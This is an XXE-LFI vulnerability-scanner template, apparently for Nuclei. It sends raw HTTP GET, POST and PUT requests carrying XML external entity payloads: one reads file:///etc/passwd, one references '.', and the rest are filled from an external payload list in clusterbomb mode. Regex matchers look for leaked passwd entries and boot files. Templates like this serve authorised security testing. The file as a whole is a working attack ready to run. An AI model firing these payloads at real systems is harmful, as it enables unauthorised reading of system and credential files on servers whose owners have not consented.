xxe_lfi.yaml

id: XXE-LFI

info:
  name: XXE
  author: MRiambatman
  severity: critical
  
requests:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/xml

        <!DOCTYPE xxe [
        <!ELEMENT name ANY >
        <!ENTITY xxe SYSTEM "file:///etc/passwd">]>
        
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/xml
        
        <!DOCTYPE root [
        <!ENTITY stuff SYSTEM ".">
        ]><root>&stuff;</root>

      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/xml
        §header§

      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/xml
        §header§
 
      - |
        PUT / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/xml
        §header§
        
    payloads: 
      header: helpers/payloads/xxe.txt
    attack: clusterbomb
    redirects: true
    matchers:
      - type: regex
        regex:
          - 'root:.*:0:0'
          - 'boot loader'
          - '16 bit'
        part: body